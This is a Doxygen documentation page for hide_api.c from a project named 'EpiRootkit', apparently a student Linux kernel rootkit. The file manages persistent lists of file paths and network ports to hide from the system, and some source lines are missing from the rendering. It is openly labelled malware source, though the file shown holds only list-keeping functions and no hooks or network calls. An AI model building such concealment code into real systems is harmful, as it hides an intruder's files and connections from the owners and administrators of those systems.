EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
hide_api.c
Go to the documentation of this file.
1#include "hide_api.h"
2
3#include "config.h"
4#include "ulist.h"
5
8
9int hide_init(void) {
10 int ret;
11
13 ret = ulist_load(&hide_list);
14 if (ret < 0)
15 return ret;
16
17 return SUCCESS;
18}
19
20void hide_exit(void) {
23}
24
25int hide_file(const char *path) {
26 int ret;
27 char modpath[256];
28
29 if (strcmp(path, "/") == 0)
30 return -EINVAL;
31
32 if (strlen(path) >= sizeof(modpath))
33 return -ENAMETOOLONG;
34 strscpy(modpath, path, sizeof(modpath));
35
36 size_t len = strlen(modpath);
37 if (len > 1 && modpath[len - 1] == '/') {
38 modpath[len - 1] = '\0';
39 }
40
41 ret = ulist_add(&hide_list, modpath, 0, NULL);
42 if (ret < 0)
43 return ret;
44
45 ret = ulist_save(&hide_list);
46 if (ret < 0)
47 return ret;
48
49 return SUCCESS;
50}
51
52int unhide_file(const char *path) {
53 int ret;
54
55 ret = ulist_remove(&hide_list, path);
56 if (ret < 0)
57 return ret;
58
59 ret = ulist_save(&hide_list);
60 if (ret < 0)
61 return ret;
62
63 return SUCCESS;
64}
65
66int hide_contains_str(const char *u_path) {
67 return ulist_contains(&hide_list, u_path);
68}
69
70int hide_list_get(char *buf, size_t buf_size) {
71 return ulist_list(&hide_list, buf, buf_size);
72}
73
74int hide_port_init(void) {
75 int ret;
76
79 if (ret < 0)
80 return ret;
81
82 return SUCCESS;
83}
84
89
90int hide_port(const char *port) {
91 int ret;
92
93 ret = ulist_add(&hide_port_list, port, 0, NULL);
94 if (ret < 0)
95 return ret;
96
98 if (ret < 0)
99 return ret;
100
101 return SUCCESS;
102}
103
104int unhide_port(const char *port) {
105 int ret;
106
108 if (ret < 0)
109 return ret;
110
112 if (ret < 0)
113 return ret;
114
115 return SUCCESS;
116}
117
118int port_contains(const char *port) {
120}
121
122int port_list_get(char *buf, size_t buf_size) {
123 return ulist_list(&hide_port_list, buf, buf_size);
124}
#define HIDE_CFG_FILE
Definition config.h:61
int port
Definition main.c:7
#define SUCCESS
Definition config.h:5
#define HIDE_PORT_CFG_FILE
Definition config.h:65
int hide_file(const char *path)
Definition hide_api.c:25
int port_contains(const char *port)
Definition hide_api.c:118
struct ulist hide_list
Definition hide_api.c:6
int hide_contains_str(const char *u_path)
Definition hide_api.c:66
int port_list_get(char *buf, size_t buf_size)
Definition hide_api.c:122
struct ulist hide_port_list
Definition hide_api.c:7
int hide_list_get(char *buf, size_t buf_size)
Definition hide_api.c:70
int hide_port(const char *port)
Definition hide_api.c:90
int hide_port_init(void)
Definition hide_api.c:74
void hide_exit(void)
Definition hide_api.c:20
void hide_port_exit(void)
Definition hide_api.c:85
int unhide_port(const char *port)
Definition hide_api.c:104
int unhide_file(const char *path)
Definition hide_api.c:52
int hide_init(void)
Definition hide_api.c:9
Definition ulist.h:15
int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload)
Definition ulist.c:208
void ulist_clear(struct ulist *ul)
Definition ulist.c:39
int ulist_load(struct ulist *ul)
Definition ulist.c:58
int ulist_list(struct ulist *ul, char *buf, size_t buf_size)
Definition ulist.c:282
int ulist_save(struct ulist *ul)
Definition ulist.c:169
int ulist_remove(struct ulist *ul, const char *value)
Definition ulist.c:236
int ulist_contains(struct ulist *ul, const char *value)
Definition ulist.c:258
static void ulist_init(struct ulist *ul, const char *fname)
Definition ulist.h:21